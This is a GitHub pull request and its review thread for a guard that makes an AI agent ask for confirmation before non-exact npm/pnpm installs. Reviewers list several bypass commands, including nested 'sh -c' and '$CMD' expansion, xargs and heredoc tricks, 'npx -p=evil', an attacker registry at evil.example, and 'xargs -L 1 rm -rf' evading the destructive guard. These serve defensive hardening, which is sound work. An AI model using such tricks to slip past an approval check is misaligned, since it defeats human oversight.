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feat(safety): recognize direct npm/pnpm package acquisitions and exact specs (#405 S2a 1/4) - #2978
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a lib-only recognizer and exact-spec verdict for direct npm/pnpm commands
S1 ordered bash policy seam #915 (merged)
└─ 📍 S2a 1/4 direct commands + exact-spec verdict this PR (407 lines)
└─ S2a 2/4 what can hide a command next (372 lines)
└─ S2a 3/4 heredocs as data (323 lines)
└─ S2a 4/4 heredocs read as scripts by a shell (203 lines)
└─ S2b wire the policy: confirm, config key, docs
This PR grew to ~1,200 lines over its review rounds, so it now ships as four stacked slices under the 400-line budget. The slices were rebuilt from the final reviewed state: slice 4 is byte-identical to the previous head c43a32a80, so nothing reviewed here is lost. Nothing is wired until S2b, so each slice can land on main alone.
Scope
Includes: npm/pnpm acquisition recognition for direct commands and the exact-spec verdict.
Excludes (next slices): redirects, time, xargs, sh -c/eval, substitutions, continuations, heredocs.
📝 Summary
New lib/package-acquisition-policy.ts recognizes model-initiated npm/pnpm acquisitions (npm install|i|add and npm's install/install-test aliases, npx/npm exec/npm x, pnpm add|install|i with specs, pnpm dlx) in chained commands, env assignments and common wrappers (sudo, command, env…).
Verdict: pass only when every spec is an exact registry version (name@1.2.3, @scope/name@1.2.3, prerelease/build allowed); confirm for a bare name, range, dist-tag, alias, git/URL/file:/tarball/path, or anything it cannot determine (unknown options that may take a value). Lockfile installs (npm ci, npm install/pnpm install without specs) are not acquisitions.
Unknown options before the subcommand never hide it, a --package before exec/dlx names the packages to fetch, and pnpm's -w/--workspace-root take no value (npm's -w still names a workspace).
Reuses the quote-aware tokenizer of lib/destructive-command-guard.ts; that file only gains exports, no behavior change.
🧪 Verification
Rebased onto current main; with the destructive-guard and autonomous-guard tests, 187 pass. tsc --noEmit: 0 errors.
Follow-up fixes from CodeRabbit on this slice: a bare -p before the subcommand never takes another option (0fdc1f903/9933cf32d), and a plain npm exec keeps reading --package after the command until -- (d29327d34).
Each later slice was checked the same way on its own branch (128, 140 and 150 tests), and slice 4's tree equals c43a32a80.
Gentle AI native review of this slice (risk + reliability lenses): approved.
📋 Known follow-ups (non-blocking)
Forms outside S2a: pnpx, npm create, npm init <initializer>.
Registry choice with an exact spec (--registry) is evidence for S3.
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Added checks for npm and pnpm package installation and execution commands, including install, exec, and dlx forms, as well as supported aliases and wrappers.
Package specs that are not exact registry versions—or cannot be determined from the command—require confirmation. Exact-version specs can proceed without it.
Checks account for command options and chained commands, and exclude lockfile-based installs.
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The change adds an npm and pnpm package-acquisition policy. It recognizes supported commands, classifies package specs, and returns a pass or confirm verdict. Existing tokenization helpers are now exported for use by the policy.
Changes: Package Acquisition Policy
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Tokenizer access and acquisition parsing lib/destructive-command-guard.ts, lib/package-acquisition-policy.ts
Exports existing tokenization helpers and adds acquisition types, command matching configuration, and parsing for install, exec, and dlx forms.
Command recognition and verdict evaluation lib/package-acquisition-policy.ts, tests/package-acquisition-policy.test.ts
Recognizes acquisitions across command segments and nested shell payloads. Returns pass when all recognized specs match the exact semver pattern; otherwise returns confirm. Tests cover command forms, options, package specs, and reported acquisition details.
The package-acquisition recognizer can return pass for npx -p=<pkg> with an unpinned package, so a confirmation would be skipped once this policy is wired in. Plain npm exec ... tsc -p tsconfig.json also prompts unnecessarily. The library is not wired in yet, so there is no immediate production impact, but the npx case should be fixed before merge.
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- Around line 140-141: Update the substitution scanning around backtickBodies
and recognizePackageAcquisitions to extract and inspect active $(...) bodies
even when they occur inside double-quoted words or assignment words. Preserve
the existing behavior that ignores single-quoted and escaped literals, and
retain trigger-index handling. Add tests for both reported examples and for
exact-version substitutions.
- Around line 147-152: Update quotesBalanced to check uncovered characters using
UTF-16 offsets that align with covered and token.index, so non-BMP characters do
not shift the coverage check. Add regression tests showing that a valid command
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rules before commands are split; preserve trigger offsets. Ensure continued npm
install commands are analyzed for bare and exact specs and spec-free lockfile
installs, and add tests for these cases.
- Around line 53-54: Update the redirect handling in REDIRECT_RE and
REDIRECT_ONLY_RE so the ampersand in file-descriptor redirects such as
2>&1 does not split the command segment; ensure package specs after the
redirect remain detectable by package-acquisition policy. Add tests for package
specs after file-descriptor redirects, and preserve existing background-command
handling.
- Around line 40-49: Update `parseSegment` to recognize `-w` and
`--workspace-root` as boolean options only when the manager is pnpm, and use
that manager-aware classification wherever unknown option values are recorded.
Preserve npm’s existing `-w` value-option handling. Add tests covering both pnpm
flags with exact and bare package specs, plus npm `-w` value handling.
- Around line 96-103: Update parseSegment’s handling of an unresolved option
value so it can continue to a later subcommand across intervening options
instead of returning early; add a regression test for `npm --fetch-retries 5
--no-audit install lodash`. Preserve existing behavior for unrelated commands
and lockfile installs.
- Around line 79-83: Update the argument handling around PACKAGE_OPTIONS so
pre-subcommand --package values are retained until the form is known and then
evaluated, rather than skipped before npm exec. Ensure the policy judges the
package value in `npm --package=evil exec -- bin@1.0.0`; add regression tests
covering both exact and non-exact values.
- Around line 131-134: Update the eval payload handling in
recognizePackageAcquisitions to skip a leading `--` before parsing the remaining
arguments, while preserving current handling when no delimiter is present. Add
regression tests covering `eval --` with both bare and exact package
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Minor · Confirm when shell nesting exceeds the limit. · package-acquisition-policy.ts:124-152
lib/package-acquisition-policy.ts:124-152 Minor · Functional Correctness · Quick win
Confirm when shell nesting exceeds the limit.
Five nested sh -c calls can hide npm install left-pad at depth 5. The recognizer discards that payload, so the verdict returns pass. Propagate an indeterminate result when the limit prevents inspection.
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Update recognizePackageAcquisitions so reaching the nesting limit reports an
indeterminate acquisition instead of returning an empty result that can produce
a pass verdict. Use the existing PackageAcquisition and undetermined handling,
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Minor · Confirm uninspectable shell payloads · package-acquisition-policy.ts:140-143
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Confirm uninspectable shell payloads
For CMD='npm install left-pad'; sh -c "$CMD", shell expansion can run the bare-spec install, but the policy returns pass. Report an undetermined acquisition when outer-shell expansion makes the payload uninspectable. Preserve inspection of literal payloads and add a regression test.
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Update shell handling around SHELLS and recognizePackageAcquisitions to detect
when a -c payload depends on outer-shell expansion and cannot be inspected;
report the existing undetermined-acquisition outcome instead of passing it.
Preserve recursive inspection of literal payloads and add a regression test for
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…entleman-Programming#405 S2a)
In a sh -c or eval payload, an expansion in command position ($CMD,
${PM:-npm}, $(cat f), a backtick substitution) picks the command only at
run time, so the policy cannot inspect it and passed it. Report it as an
undetermined acquisition. Literal payloads are still inspected, expansions
outside command position change nothing, and top-level commands are
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Minor · Find the command after a leading redirect · package-acquisition-policy.ts:131-139
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Find the command after a leading redirect
With CMD=npm, sh -c '>out $CMD install left-pad' can run an unpinned install, but packageAcquisitionVerdict returns pass: headCursor selects >out instead of $CMD. Skip leading redirects and their separate targets when selecting the payload’s command word, then apply the expansion check.
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Update command selection in packageAcquisitionVerdict’s token-segment handling
so headCursor skips leading redirects and their separate target words before
identifying the payload command. Apply the existing command-position expansion
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headCursor stops at a leading redirect, so in '>out npm install left-pad'
or sh -c '>out $CMD install left-pad' the policy took '>out' as the
command and missed both the npm acquisition and the expanded command.
Skip leading redirects and their separate targets, reusing the existing
redirect patterns, before selecting the command word. headCursor itself,
shared with the destructive-command guard, is unchanged.
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- Line 128: Update REDIRECT_ONLY_RE and the cursor handling so leading << and
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Major · Behavior changes ship without tests for the eval --… · package-acquisition-policy.ts:191-195
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Behavior changes ship without tests for the eval -- form and the other known gaps.
Past review comments flagged several unresolved behaviors in this file:
eval -- npm i left-pad treats -- as the nested command, so the verdict is pass.
"$(...)" inside double quotes and assignment words is not inspected.
Backslash-newline continuations are not handled.
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Update `recognizePackageAcquisitions` so `eval -- npm i left-pad` recognizes the
command after `--` rather than treating the separator as the nested command.
Address the noted parsing gaps for command substitutions in double quotes and
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…entleman-Programming#405 S2a)
In a sh -c or eval payload, an expansion in command position ($CMD,
${PM:-npm}, $(cat f), a backtick substitution) picks the command only at
run time, so the policy cannot inspect it and passed it. Report it as an
undetermined acquisition. Literal payloads are still inspected, expansions
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outside this rule.
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headCursor stops at a leading redirect, so in '>out npm install left-pad'
or sh -c '>out $CMD install left-pad' the policy took '>out' as the
command and missed both the npm acquisition and the expanded command.
Skip leading redirects and their separate targets, reusing the existing
redirect patterns, before selecting the command word. headCursor itself,
shared with the destructive-command guard, is unchanged.
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Major · Treat xargs input as undetermined. · destructive-command-guard.ts:157
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Treat xargs input as undetermined.
xargs can append package specs from stdin. For printf lodash | xargs npm install a@1.0.0, the policy sees only a@1.0.0 and returns pass.
In lib/package-acquisition-policy.ts, mark xargs-invoked installs as undetermined unless their input is inspected. Add a test for this case.
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Review comment at @lib/destructive-command-guard.ts at line 157:
Update the package-acquisition policy to mark installs invoked through xargs as
undetermined unless their stdin input is inspected, rather than passing based
only on explicit package arguments. Add a test covering `printf lodash | xargs
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Major · Inspect substitutions in unquoted heredocs. · destructive-command-guard.ts:267
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Inspect substitutions in unquoted heredocs.
packageAcquisitionVerdict returns pass for a heredoc containing `npm install left-pad` or $(npm install left-pad), although the shell executes the substitution.
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Update tokenize and packageAcquisitionVerdict so substitutions in unquoted
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- Line 267: Update tokenize and packageAcquisitionVerdict so substitutions in
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A correction on the commit message of 1880760 (fix(safety): ask for installs run through xargs): it says xargs -n 1 npm i "was not seen at all". That is wrong. WRAPPER_VALUE_OPTIONS.xargs in lib/destructive-command-guard.ts already skips -n, -I and -P with their long forms, so that case was recognized before this commit.
What the commit actually adds:
An npm/pnpm/npx acquisition run by xargs records xargs input as undetermined and asks, because xargs appends words read from stdin. This was the case CodeRabbit raised: printf lodash | xargs npm install a@1.0.0.
The xargs value options missing from the shared table (-L, -a, -d, -s, -E and long forms) are stepped over locally in lib/package-acquisition-policy.ts.
The code and tests are unaffected. The -n 1 / -P 4 asserts stay as regression pins.
The missing options are a gap in the shared headCursor tables, and the same gap hides commands from the destructive guard (xargs -L 1 rm -rf build gets no data-loss confirmation, and neither does nice rm -rf build). I filed it as #3048. Once those tables are completed there, the local XARGS_VALUE_OPTIONS list in this PR can be dropped.
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Minor · Ignore comment quotes when joining continuations · package-acquisition-policy.ts:429-439
lib/package-acquisition-policy.ts:429-439 Minor · Functional Correctness · Quick win
Ignore comment quotes when joining continuations
For # '\nnpm i \\\n left-pad, joinContinuations treats the comment apostrophe as an opening quote and leaves the continuation in place. The recognizer then returns pass, although the shell passes bare left-pad to npm.
Handle comment boundaries during continuation joining and add a regression test for this case.
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Update joinContinuations to recognize shell comment boundaries so quotes inside
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- Line 511: Update the backtick scanning around `backtickBodies` and
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feat(safety): recognize npm/pnpm package acquisitions and exact specs (#405 S2a)
feat(safety): recognize direct npm/pnpm package acquisitions and exact specs (#405 S2a 1/4)
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Do not pass exact specs that install from a caller-chosen registry or config.
--registry, --userconfig and --prefix are in VALUE_OPTIONS. Their values are skipped and never judged. For npm i left-pad@1.3.0 --registry=https://evil.example, line 96 skips the option and the verdict is pass. A scoped form such as --@scope:registry=... also falls through to the "unknown option with =" path and passes. The header contract says pass only for exact registry versions. An exact version from an attacker-controlled registry or npmrc violates that contract.
Report any --registry, --@*:registry or --userconfig value as undetermined. Optionally allowlist https://registry.npmjs.org. The existing test on line 126 of the test file keeps passing under that allowlist. Add tests for the redirected-registry cases.
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- } else if (VALUE_OPTIONS[manager].has(name)) {- if (equals < 0) index++;+ } else if (VALUE_OPTIONS[manager].has(name)) {+ const optionValue = equals >= 0 ? value.slice(equals + 1) : args[++index]?.value;+ const redirectsSource = name === "--registry" ? optionValue !== "https://registry.npmjs.org" && optionValue !== "https://registry.npmjs.org/" : name === "--userconfig";+ if (redirectsSource) undetermined.push(`${name} ${optionValue ?? ""}`.trim());
Also handle /^--@[^=]+:registry(=|$)/ in the same way.
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- Around line 141-148: Update the acquisition scan around headCursor and
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…t specs (Gentleman-Programming#405 S2a 1/4)
New lib/package-acquisition-policy.ts recognizes model-initiated npm/pnpm
acquisitions (install/add/aliases, npx/npm exec, pnpm dlx), including
chained commands, env assignments and common wrappers, and gives a verdict:
pass only when every spec is an exact registry version, confirm for any
other or undeterminable spec. Unknown options before the subcommand never
hide it, --package before exec/dlx names the packages to fetch, and pnpm's
-w takes no value. The destructive guard only exports its tokenizer.
Nothing is wired yet.
…ption (Gentleman-Programming#405 S2a 1/4)
`npm -p --package evil exec -- bin@1.0.0` passed: the pre-subcommand -p
took `--package` as its value, so `evil` was never judged. A bare
-p/--package now takes no value when an option follows it, so the later
--package still names the packages exec/dlx fetches.
…entleman-Programming#405 S2a 1/4)
`npm exec --package=cowsay@1.6.0 cowsay hi --package=evil` passed: the
scan stopped at the command, but plain `npm exec` keeps parsing its own
options until `--`, so npm also fetched `evil`. Past the command, a plain
`npm exec` now still collects -p/--package values up to `--`; npx and
`npm exec --` still hand every later word to the command.
The exact-spec test now also asserts each command is recognized, so a
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Major · Security & Privacy · Quick win
Recognize an attached npx -p package value.
For npx -p=evil --package=cowsay@1.6.0 -- cowsay, parseSegment ignores -p=evil and returns pass. The npm v10 and v11 npx entrypoints rewrite that argument to --package=evil, so npm can acquire the unpinned package without the required confirmation. Parse attached -p= values for npx and add a regression test. (raw.githubusercontent.com)
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Update parseSegment to recognize attached npx -p= values as package specifications and route them through the same policy checks and confirmation behavior as --package; add a regression test showing an unpinned attached value is not silently passed through.
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Minor · Functional Correctness · Quick win
Ignore -p after the command in plain npm exec.
In plain npm exec, -p after the command is npm's --parseable flag, not a package option. The post-target branch treats it as one. For npm exec --package=typescript@5.4.5 tsc -p tsconfig.json, this records tsconfig.json as a package, so the verdict is confirm for an exact typescript spec. Only npx maps -p to --package. The comment at line 82 already states that only --package names what npm fetches after the command.
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In lib/package-acquisition-policy.ts:
- if (PACKAGE_OPTIONS.has(name)) {+ if (name === "--package") {
In tests/package-acquisition-policy.test.ts, update line 211 and add the common tsc case:
- confirms("npm exec cowsay@1.6.0 hi -p evil", ["evil"]);+ passes("npm exec cowsay@1.6.0 hi -p evil");+ passes("npm exec --package=typescript@5.4.5 tsc -p tsconfig.json");
Keep the pre-command -p handling at line 101. In plain npm exec, npm exec -p evil cowsay@1.6.0 fetches evil as the first positional package. That case must still return confirm.
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Update the post-command package-option handling in the npm exec/dlx branch so plain npm exec recognizes only --package as naming a fetched package; do not treat -p there as a package option. Preserve pre-command -p handling, where it can still identify a package, and add coverage for npm exec tsc -p tsconfig.json not treating the tsconfig path as a package.
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time,xargs,sh -c/eval, substitutions, continuations, heredocs.📝 Summary
lib/package-acquisition-policy.tsrecognizes model-initiated npm/pnpm acquisitions (npm install|i|addand npm's install/install-test aliases,npx/npm exec/npm x,pnpm add|install|iwith specs,pnpm dlx) in chained commands, env assignments and common wrappers (sudo,command,env…).passonly when every spec is an exact registry version (name@1.2.3,@scope/name@1.2.3, prerelease/build allowed);confirmfor a bare name, range, dist-tag, alias, git/URL/file:/tarball/path, or anything it cannot determine (unknown options that may take a value). Lockfile installs (npm ci,npm install/pnpm installwithout specs) are not acquisitions.--packagebeforeexec/dlxnames the packages to fetch, and pnpm's-w/--workspace-roottake no value (npm's-wstill names a workspace).lib/destructive-command-guard.ts; that file only gains exports, no behavior change.🧪 Verification
main; with the destructive-guard and autonomous-guard tests, 187 pass.tsc --noEmit: 0 errors.-pbefore the subcommand never takes another option (0fdc1f903/9933cf32d), and a plainnpm execkeeps reading--packageafter the command until--(d29327d34).c43a32a80.📋 Known follow-ups (non-blocking)
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